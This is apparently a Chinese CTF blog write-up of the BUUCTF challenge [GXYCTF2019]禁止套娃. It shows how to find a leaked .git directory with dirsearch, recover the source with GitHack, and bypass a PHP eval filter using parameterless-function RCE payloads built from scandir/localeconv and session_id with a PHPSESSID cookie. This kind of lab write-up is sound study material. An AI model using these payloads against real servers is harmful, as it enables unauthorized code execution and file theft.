【CTF】git源码泄露和代码审计

目录

源码获取

函数绕过

解法一:

解法二:

参考文章: 


源码获取

这里做的web题目是buuctf中的:[GXYCTF2019]禁止套娃

打开页面,查看源码是没有可以利用的点的。开始进行目录扫描

这里使用的工具是dirsearch。直接进行访问扫描目录发现都是状态码429,访问太快导致网站访问不了。这里使用--delay进行延时测试,成功看到.git文件的目录。

python dirsearch.py -u http://5a22cf65-2a27-4b1f-b2bc-9ba0d9b75721.node4.buuoj.cn:81/ --delay 10

 这里确定了存在再使用githack,githack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。

lijiejie/GitHack: A `.git` folder disclosure exploit (github.com)

这里的要仔细读一下giehack的介绍,这个脚本必须使用python2运行

git clone https://github.com/lijiejie/GitHack/archive/refs/heads/master.zip
unzip GitHack-master.zip
cd GitHack-master
python2 GitHack.py http://5a22cf65-2a27-4b1f-b2bc-9ba0d9b75721.node4.buuoj.cn:81/.git/

函数绕过

我们来看一下源代码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>
   

一共要绕过三个if判断,第一层过滤伪协议,第二层过滤带参数的函数,第三层过滤一些函数

正则表达式里面的特殊项 (?R) 提供了递归的这种特殊用法,相当于匹配函数的参数,把函数的参数置空,可以叫做无参数函数的校验。又因为会一直循环遍历,所以最终的形式应该是a(b(c()))这种形式,考的是无参数的rce漏洞。

无参数rce一般由这几个函数组成:

getenv()

getallheaders()

get_defined_vars()

session_id()

dirname()&chdir()

PHP Parametric Function RCE · sky's blog (skysec.top)

解法一:

先读取一下都有哪些目录

使用的是print_r函数进行打印

?exp=print_r(scandir(current(localeconv())));

这句话就等同于print_r(scandir("."));

exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

highlight_file — 语法高亮一个文件(同show_source)

next — 将数组中的内部指针向前移动一位

array_reverse — 返回单元顺序相反的数组

scandir — 列出指定路径中的文件和目录

current — 返回数组中的当前值

localeconv — 获取数字格式信息,返回一包含本地数字及货币格式信息的数组

loacleconv 函数会第一个返回一个 ‘.’ 然后current将我们获得数组中的当前元素的值‘.’,返回到我们构造的 payload 使得 scandir能够返回当前目录下的数组相当于scandir("."),就是读出当前目录下的文件,array_reverse()以相反的顺序输出(目的是以正序输出查询出来的内容),然后 next 提取第二个元素(将.舍弃),最后用highlight_file()打印出来。

先使用 /?exp=print_r(next(array_reverse(scandir(current(localeconv())))));

读取到flag.php的文件名,使用highlight_file进行读取。

http://0c06c480-f5c1-4ad7-a606-f30924efab42.node4.buuoj.cn:81/?exp=highlight_file(next(array_reverse(scandir(current
(localeconv())))));

可以看到flag

解法二:

第二种方法是使用session_id()

能使用这种方法是因为上述过滤函数没有过滤掉session_id,所以想用session_id来获取flag,这里要配合session_start来开启会话。 

?exp=highlight_file(session_id(session_start()));

抓波在cookie中写上PHPSESSID=flag.php即可读取flag

参考文章: 

无参数rce参考自PHP Parametric Function RCE · sky's blog (skysec.top)

(1条消息) buuctf-[GXYCTF2019]禁止套娃_qq_42728977的博客-CSDN博客_buuctf 429

猜你喜欢

转载自blog.csdn.net/weixin_52450702/article/details/128734182
今日推荐